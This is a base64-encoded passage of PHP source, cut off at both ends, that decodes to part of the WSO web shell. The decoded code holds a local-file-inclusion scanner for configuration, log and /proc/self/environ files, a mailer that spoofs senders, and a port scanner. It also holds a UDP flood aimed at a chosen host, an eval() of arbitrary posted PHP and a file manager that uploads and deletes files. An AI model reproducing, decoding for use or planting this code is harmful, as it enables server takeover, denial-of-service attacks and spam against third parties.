ZWQnPlshXSBGYWlsZWQhPC9mb250PiIuJHRhcmdldC4iIi4kbGZpYWNjZXNzWyR4XS4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJHgrKzsgDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQogICAgICAgICBpZiAoICR0eXBlID09IDIgKSB7IA0KICAgICAgICAgICAgJHJlczEgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0KTsgDQogICAgICAgICAgICAkcmVzMiA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QyKTsgDQogICAgICAgICAgICAkcmhhc2gxID0gbWQ1KCRyZXMxKTsgDQogICAgICAgICAgICAkcmhhc2gyID0gbWQ1KCRyZXMyKTsgDQogICAgICAgICAgICBpZiAoJHJoYXNoMSAhPSAkcmhhc2gyKSB7IA0KICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBFeHBsb2l0YWJsZSE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXRlc3QuIlwiPiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iPC9hPjxiciAgLz4iOyANCiAgICAgICAgICAgIHdoaWxlKCRsZmljb25maWdbJHhdKSB7IA0KICAgICAgICAgICAgICAgICRyZXMzID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpY29uZmlnWyR4XSk7IA0KICAgICAgICAgICAgICAgICRyaGFzaDMgPSBtZDUoJHJlczMpOyANCiAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMyAhPSAkcmhhc2gyKSB7IA0KICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBGaWxlIGRldGVjdGVkITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpY29uZmlnWyR4XS4iXCI+Ii4kdGFyZ2V0LiIiLiRsZmljb25maWdbJHhdLiI8L2E+PGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgZWxzZSB7ICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0ncmVkJz5bIV0gRmFpbGVkITwvZm9udD4iLiR0YXJnZXQuIiIuJGxmaWNvbmZpZ1skeF0uIjxiciAgLz4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICR4Kys7IA0KICAgICAgfSANCiAgICAgIH0gDQogICAgICAgICB9IA0KICAgICAgICAgaWYgKCAkdHlwZSA9PSAzICkgeyANCiAgICAgICAgICAgICRyZXMxID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdCk7IA0KICAgICAgICAgICAgJHJlczIgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0Mik7IA0KICAgICAgICAgICAgJHJoYXNoMSA9IG1kNSgkcmVzMSk7IA0KICAgICAgICAgICAgJHJoYXNoMiA9IG1kNSgkcmVzMik7IA0KICAgICAgICAgICAgaWYgKCRyaGFzaDEgIT0gJHJoYXNoMikgeyANCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRXhwbG9pdGFibGUhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZml0ZXN0LiJcIj4iLiR0YXJnZXQuIiIuJGxmaXRlc3QuIjwvYT48YnIgIC8+IjsgDQogICAgICAgICAgICB3aGlsZSgkbGZpZXJyb3JbJHhdKSB7IA0KICAgICAgICAgICAgICAgICRyZXMzID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpZXJyb3JbJHhdKTsgDQogICAgICAgICAgICAgICAgJHJoYXNoMyA9IG1kNSgkcmVzMyk7IA0KICAgICAgICAgICAgICAgIGlmICgkcmhhc2gzICE9ICRyaGFzaDIpIHsgDQogICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEZpbGUgZGV0ZWN0ZWQhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZmllcnJvclskeF0uIlwiPiIuJHRhcmdldC4iIi4kbGZpZXJyb3JbJHhdLiI8L2E+PGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgZWxzZSB7ICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0ncmVkJz5bIV0gRmFpbGVkITwvZm9udD4iLiR0YXJnZXQuIiIuJGxmaWVycm9yWyR4XS4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJHgrKzsgDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQogICAgICAgICBpZiAoICR0eXBlID09IDQgKSB7IA0KICAgICAgICAgICAgJHJlczEgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0KTsgDQogICAgICAgICAgICAkcmVzMiA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QyKTsgDQogICAgICAgICAgICAkcmhhc2gxID0gbWQ1KCRyZXMxKTsgDQogICAgICAgICAgICAkcmhhc2gyID0gbWQ1KCRyZXMyKTsgDQogICAgICAgICAgICBpZiAoJHJoYXNoMSAhPSAkcmhhc2gyKSB7IA0KICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBFeHBsb2l0YWJsZSE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXRlc3QuIlwiPiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iPC9hPjxiciAgLz4iOyANCiAgICAgICAgICAgIHdoaWxlKCRsZmlwaHBpbmlbJHhdKSB7IA0KICAgICAgICAgICAgICAgICRyZXMzID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpcGhwaW5pWyR4XSk7IA0KICAgICAgICAgICAgICAgICRyaGFzaDMgPSBtZDUoJHJlczMpOyANCiAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMyAhPSAkcmhhc2gyKSB7IA0KICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBGaWxlIGRldGVjdGVkITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpcGhwaW5pWyR4XS4iXCI+Ii4kdGFyZ2V0LiIiLiRsZmlwaHBpbmlbJHhdLiI8L2E+PGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgZWxzZSB7ICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0ncmVkJz5bIV0gRmFpbGVkITwvZm9udD4iLiR0YXJnZXQuIiIuJGxmaXBocGluaVskeF0uIjxiciAgLz4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICR4Kys7IA0KICAgICAgfSANCiAgICAgIH0gDQogICAgICAgICB9IA0KICAgICAgICAgaWYgKCAkdHlwZSA9PSA1ICkgeyANCiAgICAgICAgICAgICRyZXMxID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdCk7IA0KICAgICAgICAgICAgJHJlczIgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0Mik7IA0KICAgICAgICAgICAgJHJoYXNoMSA9IG1kNSgkcmVzMSk7IA0KICAgICAgICAgICAgJHJoYXNoMiA9IG1kNSgkcmVzMik7IA0KICAgICAgICAgICAgaWYgKCRyaGFzaDEgIT0gJHJoYXNoMikgeyANCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRXhwbG9pdGFibGUhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZml0ZXN0LiJcIj4iLiR0YXJnZXQuIiIuJGxmaXRlc3QuIjwvYT48YnIgIC8+IjsgDQogICAgICAgICAgICB3aGlsZSgkbGZpbXlzcWxbJHhdKSB7IA0KICAgICAgICAgICAgICAgICRyZXMzID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpbXlzcWxbJHhdKTsgDQogICAgICAgICAgICAgICAgJHJoYXNoMyA9IG1kNSgkcmVzMyk7IA0KICAgICAgICAgICAgICAgIGlmICgkcmhhc2gzICE9ICRyaGFzaDIpIHsgDQogICAgICAgICAgICAgICAgcHJpbnQgIjxmb250IGNvbG9yPSdncmVlbic+WytdIEZpbGUgZGV0ZWN0ZWQhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZmlteXNxbFskeF0uIlwiPiIuJHRhcmdldC4iIi4kbGZpbXlzcWxbJHhdLiI8L2E+PGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgZWxzZSB7ICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0ncmVkJz5bIV0gRmFpbGVkITwvZm9udD4iLiR0YXJnZXQuIiIuJGxmaW15c3FsWyR4XS4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJHgrKzsgDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQogICAgICAgICBpZiAoICR0eXBlID09IDYgKSB7IA0KICAgICAgICAgICAgJHJlczEgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0KTsgDQogICAgICAgICAgICAkcmVzMiA9IEZldGNoVVJMKCR0YXJnZXQuJGxmaXRlc3QyKTsgDQogICAgICAgICAgICAkcmhhc2gxID0gbWQ1KCRyZXMxKTsgDQogICAgICAgICAgICAkcmhhc2gyID0gbWQ1KCRyZXMyKTsgDQogICAgICAgICAgICBpZiAoJHJoYXNoMSAhPSAkcmhhc2gyKSB7IA0KICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBFeHBsb2l0YWJsZSE8L2ZvbnQ+IDxhIGhyZWY9XCIiLiR0YXJnZXQuIiIuJGxmaXRlc3QuIlwiPiIuJHRhcmdldC4iIi4kbGZpdGVzdC4iPC9hPjxiciAgLz4iOyANCiAgICAgICAgICAgIHdoaWxlKCRsZmlmdHBbJHhdKSB7IA0KICAgICAgICAgICAgICAgICRyZXMzID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpZnRwWyR4XSk7IA0KICAgICAgICAgICAgICAgICRyaGFzaDMgPSBtZDUoJHJlczMpOyANCiAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMyAhPSAkcmhhc2gyKSB7IA0KICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBGaWxlIGRldGVjdGVkITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpZnRwWyR4XS4iXCI+Ii4kdGFyZ2V0LiIiLiRsZmlmdHBbJHhdLiI8L2E+PGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgZWxzZSB7ICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0ncmVkJz5bIV0gRmFpbGVkITwvZm9udD4iLiR0YXJnZXQuIiIuJGxmaWZ0cFskeF0uIjxiciAgLz4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICR4Kys7IA0KICAgICAgfSANCiAgICAgIH0gDQogICAgICAgICB9IA0KaWYgKCAkdHlwZSA9PSA3ICkgeyANCiAgICAgICAgICAgICRyZXMxID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpdGVzdCk7IA0KICAgICAgICAgICAgJHJlczIgPSBGZXRjaFVSTCgkdGFyZ2V0LiRsZml0ZXN0Mik7IA0KICAgICAgICAgICAgJHJoYXNoMSA9IG1kNSgkcmVzMSk7IA0KICAgICAgICAgICAgJHJoYXNoMiA9IG1kNSgkcmVzMik7IA0KICAgICAgICAgICAgaWYgKCRyaGFzaDEgIT0gJHJoYXNoMikgeyANCiAgICAgICAgICAgICAgICBwcmludCAiPGZvbnQgY29sb3I9J2dyZWVuJz5bK10gRXhwbG9pdGFibGUhPC9mb250PiA8YSBocmVmPVwiIi4kdGFyZ2V0LiIiLiRsZml0ZXN0LiJcIj4iLiR0YXJnZXQuIiIuJGxmaXRlc3QuIjwvYT48YnIgIC8+Ijt7IA0KICAgICAgICAgICAgICAgICRyZXMzID0gRmV0Y2hVUkwoJHRhcmdldC4kbGZpcHJvY2Vudik7IA0KICAgICAgICAgICAgICAgICRyaGFzaDMgPSBtZDUoJHJlczMpOyANCiAgICAgICAgICAgICAgICBpZiAoJHJoYXNoMyAhPSAkcmhhc2gyKSB7IA0KICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlsrXSBGaWxlIGRldGVjdGVkITwvZm9udD4gPGEgaHJlZj1cIiIuJHRhcmdldC4iIi4kbGZpcHJvY2Vudi4iXCI+Ii4kdGFyZ2V0LiIiLiRsZmlwcm9jZW52LiI8L2E+PGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgZWxzZSB7ICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICI8Zm9udCBjb2xvcj0ncmVkJz5bIV0gRmFpbGVkITwvZm9udD4iLiR0YXJnZXQuIiIuJGxmaXByb2NlbnYuIjxiciAgLz4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgfSANCiAgICAgIH0gDQogICAgICAgICB9IA0KICAgICAgfSANCndzb0Zvb3RlcigpOyANCn0gDQpmdW5jdGlvbiBhY3Rpb25waHB0b29scygpIHsgDQp3c29IZWFkZXIoKTsgDQo/PjxjZW50ZXI+PD9waHAgDQovL21haWxlciANCmVjaG8gJzxiPk1haWxlcjwvYj48YnI+IA0KPGZvcm0gYWN0aW9uPSInLiRzdXJsLiciIG1ldGhvZD1QT1NUPiANCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJwaHB0b29scyI+IA0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvIHZhbHVlPXRvPjxicj4gDQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZnJvbSB2YWx1ZT1mcm9tPjxicj4gDQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3ViamVjdCB2YWx1ZT1zdWJqZWN0Pjxicj4gDQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9Ym9keSB2YWx1ZT1ib2R5Pjxicj4gDQo8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9U3VibWl0PjwvZm9ybT4nOyANCmlmIChpc3NldCgkX1BPU1RbJ3RvJ10pICYmIGlzc2V0KCRfUE9TVFsnZnJvbSddKSAmJiBpc3NldCgkX1BPU1RbJ3N1YmplY3QnXSkgJiYgaXNzZXQoJF9QT1NUWydib2R5J10pKSB7IA0KICAgICRoZWFkZXJzID0gJ0Zyb206ICcuJF9QT1NUWydmcm9tJ107IA0KICAgIG1haWwgKCRfUE9TVFsndG8nXSwkX1BPU1RbJ3N1YmplY3QnXSwkX1BPU1RbJ2JvZHknXSwkaGVhZGVycyk7IA0KICAgIGVjaG8gJ0VtYWlsIHNlbnQuJzsgDQp9IA0KICANCi8vcG9ydCBzY2FubmVyIA0KZWNobyAnPGJyPjxiPlBvcnQgU2Nhbm5lcjwvYj48YnI+JzsgDQokc3RhcnQgPSBzdHJpcF90YWdzKCRfUE9TVFsnc3RhcnQnXSk7IA0KJGVuZCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydlbmQnXSk7IA0KJGhvc3QgPSBzdHJpcF90YWdzKCRfUE9TVFsnaG9zdCddKTsgDQogIA0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzX251bWVyaWMoJF9QT1NUWydlbmQnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ3N0YXJ0J10pKXsgDQpmb3IoJGkgPSAkc3RhcnQ7ICRpPD0kZW5kOyAkaSsrKXsgDQogICAgJGZwID0gQGZzb2Nrb3BlbigkaG9zdCwgJGksICRlcnJubywgJGVycnN0ciwgMyk7IA0KICAgIGlmKCRmcCl7IA0KICAgICAgICBlY2hvICdQb3J0ICcuJGkuJyBpcyA8Zm9udCBjb2xvcj1ncmVlbj5vcGVuPC9mb250Pjxicj4nOyANCiAgICB9IA0KICAgIGZsdXNoKCk7IA0KICAgIH0gDQp9ZWxzZXsgDQo/PiANCjxmb3JtIGFjdGlvbj0iPyIgbWV0aG9kPSJQT1NUIj4gDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0icGhwdG9vbHMiPiANCkhvc3Q6PGJyIC8+IA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiLz48YnIgLz4gDQpQb3J0IHN0YXJ0OjxiciAvPiANCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzdGFydCIgdmFsdWU9IjAiLz48YnIgLz4gDQpQb3J0IGVuZDo8YnIgLz4gDQo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZW5kIiB2YWx1ZT0iNTAwMCIvPjxiciAvPiANCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTY2FuIFBvcnRzIiAvPiANCjwvZm9ybT4gDQo8P3BocCANCn0gDQogIA0KLy9VRFAgDQppZihpc3NldCgkX1BPU1RbJ2hvc3QnXSkmJmlzX251bWVyaWMoJF9QT1NUWyd0aW1lJ10pKXsgDQogICAgJHBha2l0cyA9IDA7IA0KICAgIGlnbm9yZV91c2VyX2Fib3J0KFRSVUUpOyANCiAgICBzZXRfdGltZV9saW1pdCgwKTsgDQogICAgICANCiAgICAkZXhlY190aW1lID0gJF9QT1NUWyd0aW1lJ107IA0KICAgICAgDQogICAgJHRpbWUgPSB0aW1lKCk7IA0KICAgIC8vcHJpbnQgIlN0YXJ0ZWQ6ICIudGltZSgnaDppOnMnKS4iPGJyPiI7IA0KICAgICRtYXhfdGltZSA9ICR0aW1lKyRleGVjX3RpbWU7IA0KICANCiAgICAkaG9zdCA9ICRfUE9TVFsnaG9zdCddOyANCiAgICAgIA0KICAgIGZvcigkaT0wOyRpPDY1MDAwOyRpKyspeyANCiAgICAgICAgICAgICRvdXQgLj0gJ1gnOyANCiAgICB9IA0KICAgIHdoaWxlKDEpeyANCiAgICAkcGFraXRzKys7IA0KICAgICAgICAgICAgaWYodGltZSgpID4gJG1heF90aW1lKXsgDQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICAkcmFuZCA9IHJhbmQoMSw2NTAwMCk7IA0KICAgICAgICAgICAgJGZwID0gZnNvY2tvcGVuKCd1ZHA6Ly8nLiRob3N0LCAkcmFuZCwgJGVycm5vLCAkZXJyc3RyLCA1KTsgDQogICAgICAgICAgICBpZigkZnApeyANCiAgICAgICAgICAgICAgICAgICAgZndyaXRlKCRmcCwgJG91dCk7IA0KICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgIH0gDQogICAgZWNobyAiPGJyPjxiPlVEUCBGbG9vZDwvYj48YnI+Q29tcGxldGVkIHdpdGggJHBha2l0cyAoIiAuIHJvdW5kKCgkcGFraXRzKjY1KS8xMDI0LCAyKSAuICIgTUIpIHBhY2tldHMgYXZlcmFnaW5nICIuIHJvdW5kKCRwYWtpdHMvJGV4ZWNfdGltZSwgMikgLiAiIHBhY2tldHMgcGVyIHNlY29uZCBcbiI7IA0KICAgIGVjaG8gJzxicj48YnI+IA0KICAgICAgICA8Zm9ybSBhY3Rpb249IicuJHN1cmwuJyIgbWV0aG9kPVBPU1Q+IA0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0icGhwdG9vbHMiPiANCiAgICAgICAgSG9zdDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPWhvc3QgdmFsdWU9bG9jYWxob3N0PiANCiAgICAgICAgTGVuZ3RoIChzZWNvbmRzKTogPGlucHV0IHR5cGU9dGV4dCBuYW1lPXRpbWUgdmFsdWU9OTk5OT4gDQogICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1Hbz48L2Zvcm0+JzsgDQp9ZWxzZXsgZWNobyAnPGJyPjxiPlVEUCBGbG9vZDwvYj48YnI+IA0KICAgICAgICAgICAgPGZvcm0gYWN0aW9uPT8gbWV0aG9kPVBPU1Q+IA0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InBocHRvb2xzIj4gDQogICAgICAgICAgICBIb3N0OiA8YnI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWhvc3QgdmFsdWU9bG9jYWxob3N0Pjxicj4gDQogICAgICAgICAgICBMZW5ndGggKHNlY29uZHMpOiA8YnI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRpbWUgdmFsdWU9OTk5OT48YnI+IA0KICAgICAgICAgICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUdvPjwvZm9ybT4nOyANCn0gDQo/PjwvY2VudGVyPjw/cGhwIA0Kd3NvRm9vdGVyKCk7fSANCmZ1bmN0aW9uIGFjdGlvblBocCgpIHsgDQogICAgaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7IA0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID0gdHJ1ZTsgDQogICAgICAgIG9iX3N0YXJ0KCk7IA0KICAgICAgICBldmFsKCRfUE9TVFsncDEnXSk7IA0KICAgICAgICAkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0JykuaW5uZXJIVE1MPSciIC4gYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksICJcblxyXHRcXCdcMCIpIC4gIic7XG4iOyANCiAgICAgICAgZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsgDQogICAgICAgIGV4aXQ7IA0KICAgIH0gDQogICAgd3NvSGVhZGVyKCk7IA0KICAgIGlmKGlzc2V0KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDInXSA9PSAnaW5mbycpKSB7IA0KICAgICAgICBlY2hvICc8aDE+UEhQIGluZm88L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c3R5bGU+LnAge2NvbG9yOiMwMDA7fTwvc3R5bGU+JzsgDQogICAgICAgIG9iX3N0YXJ0KCk7IA0KICAgICAgICBwaHBpbmZvKCk7IA0KICAgICAgICAkdG1wID0gb2JfZ2V0X2NsZWFuKCk7IA0KICAgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKCchKGJvZHl8YTpcdyt8Ym9keSwgdGQsIHRoLCBoMSwgaDIpIHsuKn0hbXNpVScsJycsJHRtcCk7IA0KICAgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKCchdGQsIHRoIHsoLiopfSFtc2lVJywnLmUsIC52LCAuaCwgLmggdGggeyQxfScsJHRtcCk7IA0KICAgICAgICBlY2hvIHN0cl9yZXBsYWNlKCc8aDEnLCc8aDInLCAkdG1wKSAuJzwvZGl2Pjxicj4nOyANCiAgICB9IA0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSAmJiAhZW1wdHkoJF9QT1NUWydwMSddKSkgDQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10gPSBmYWxzZTsgDQogICAgZWNobyAnPGgxPkV4ZWN1dGlvbiBQSFAtY29kZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9cGYgbWV0aG9kPXBvc3Qgb25zdWJtaXQ9ImlmKHRoaXMuYWpheC5jaGVja2VkKXthKFwnUGhwXCcsbnVsbCx0aGlzLmNvZGUudmFsdWUpO31lbHNle2coXCdQaHBcJyxudWxsLHRoaXMuY29kZS52YWx1ZSxcJ1wnKTt9cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9Y29kZSBjbGFzcz1iaWdhcmVhIGlkPVBocENvZGU+Jy4oIWVtcHR5KCRfUE9TVFsncDEnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pOicnKS4nPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9RXZhbCBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiPic7IA0KICAgIGVjaG8gJyA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLigkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWDwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4nOyANCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgeyANCiAgICAgICAgb2Jfc3RhcnQoKTsgDQogICAgICAgIGV2YWwoJF9QT1NUWydwMSddKTsgDQogICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSk7IA0KICAgIH0gDQogICAgZWNobyAnPC9wcmU+PC9kaXY+JzsgDQogICAgd3NvRm9vdGVyKCk7IA0KfSANCiAgDQpmdW5jdGlvbiBhY3Rpb25GaWxlc01hbigpIHsgDQogICAgd3NvSGVhZGVyKCk7IA0KICAgIGVjaG8gJzxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c2NyaXB0PnAxXz1wMl89cDNfPSIiOzwvc2NyaXB0Pic7IA0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7IA0KICAgICAgICBzd2l0Y2goJF9QT1NUWydwMSddKSB7IA0KICAgICAgICAgICAgY2FzZSAndXBsb2FkRmlsZSc6IA0KICAgICAgICAgICAgICAgIGlmKCFAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZiddWyduYW1lJ10pKSANCiAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgY2FzZSAnbWtkaXInOiANCiAgICAgICAgICAgICAgICBpZighQG1rZGlyKCRfUE9TVFsncDInXSkpIA0KICAgICAgICAgICAgICAgICAgICBlY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIGNhc2UgJ2RlbGV0ZSc6IA0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgeyANCiAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAoc3Vic3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRwYXRoLicvJzsgDQogICAgICAgICAgICAgICAgICAgICRkaCAgPSBvcGVuZGlyKCRwYXRoKTsgDQogICAgICAgICAgICAgICAgICAgIHdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkgIT09IGZhbHNlKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW0gPSAkcGF0aC4kaXRlbTsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIChiYXNlbmFtZSgkaXRlbSkgPT0gIi4uIikgfHwgKGJhc2VuYW1lKCRpdGVtKSA9PSAiLiIpICkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUgPSBmaWxldHlwZSgkaXRlbSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR0eXBlID09ICJkaXIiKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWxldGVEaXIoJGl0ZW0pOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCRpdGVtKTsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIGNsb3NlZGlyKCRkaCk7IA0KICAgICAgICAgICAgICAgICAgICBAcm1kaXIoJHBhdGgpOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpIA0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfUE9TVFsnZiddIGFzICRmKSB7IA0KICA